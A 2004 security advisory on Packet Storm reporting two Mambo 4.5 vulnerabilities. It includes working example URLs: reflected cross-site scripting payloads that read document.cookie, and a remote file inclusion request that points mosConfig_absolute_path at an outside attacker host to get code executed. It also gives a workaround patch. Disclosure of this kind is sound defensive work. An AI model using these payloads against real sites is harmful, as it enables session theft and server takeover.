mambo45.jose.txt

2004-09-21T00:00:00
ID PACKETSTORM:34422
Type packetstorm
Reporter Joxean Koret
Modified 2004-09-21T00:00:00

Description

                                        
                                            `  
  
---------------------------------------------------------------------------   
Two Vulnerabilities in Mambo   
---------------------------------------------------------------------------   
  
Author: Jose Antonio Coret (Joxean Koret)   
Date: 2004   
Location: Basque Country   
  
---------------------------------------------------------------------------   
  
Affected software description:   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   
  
Mambo 4.5 (1.0.9)   
  
Mambo is one of the most powerful Open   
Source Content Management Systems on   
the planet. It is used all over the world for   
everything from simple websites   
to complex corporate applications. Mambo is   
easy to install, simple to manage,   
and reliable.   
  
Web : http://mamboserver.com/   
  
---------------------------------------------------------------------------   
  
Vulnerabilities:   
~~~~~~~~~~~~~~~~   
  
A. Cross Site Scripting   
  
A1. The first vulnerability that I found is in the   
script index.php. The following   
parameters are vulnerables : Itemid, mosmsg   
and limit.   
  
Examples :   
  
http://<site-with-mambo>/index.php?option=com_content&task=view&id=18&Itemid=39"><script>alert(document.cookie)</script>&mosmsg=<h1>Hi,  
%20I%20am%20an%20XSS%  
20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br>   
  
http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1   
  
B. Remote Code Execution   
  
B1. The simple hack made to the Cache_library   
makes mambo vulnerable to a   
remote arbitrary code execution attacks.   
  
Example :   
  
http://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/   
  
Workaround:   
~~~~~~~~~~~   
  
The file   
mambo/includes/Cache/Lite/Function.php looks   
like :   
  
<?php   
  
/**   
* This class extends Cache_Lite and can be   
used to cache the result and output of   
functions/methods   
*   
* This class is completly inspired from   
Sebastian Bergmann's   
* PEAR/Cache_Function class. This is only an   
adaptation to   
* Cache_Lite   
*   
* There are some examples in the   
'docs/examples' file   
* Technical choices are described in the   
'docs/technical' file   
*   
* @package Cache_Lite   
* @version $Id: Function.php,v 1.1 2004/07/21   
13:38:58 rcastley Exp $   
* @author Sebastian BERGMANN   
<sb@sebastian-bergmann.de>   
* @author Fabien MARTY <fab@php.net>   
*/   
  
require_once($mosConfig_absolute_path .   
'/includes/Cache/Lite.php');   
  
class Cache_Lite_Function extends Cache_Lite   
...   
  
  
Simply add the following 2 lines before the   
require_once statement :   
  
/** ensure this file is being included by a parent   
file */   
defined( '_VALID_MOS' ) or die( 'Direct Access to   
this location is not allowed.' );   
  
The fix:   
~~~~~~~~   
  
The bugs are fixed in the CVS version.   
  
Disclaimer:   
~~~~~~~~~~~   
  
The information in this advisory and any of its   
demonstrations is provided   
"as is" without any warranty of any kind.   
  
I am not liable for any direct or indirect damages   
caused as a result of   
using the information or demonstrations   
provided in any part of this   
advisory.   
  
---------------------------------------------------------------------------   
  
Contact:   
~~~~~~~~   
  
Joxean Koret at   
joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es   
  
  
  
`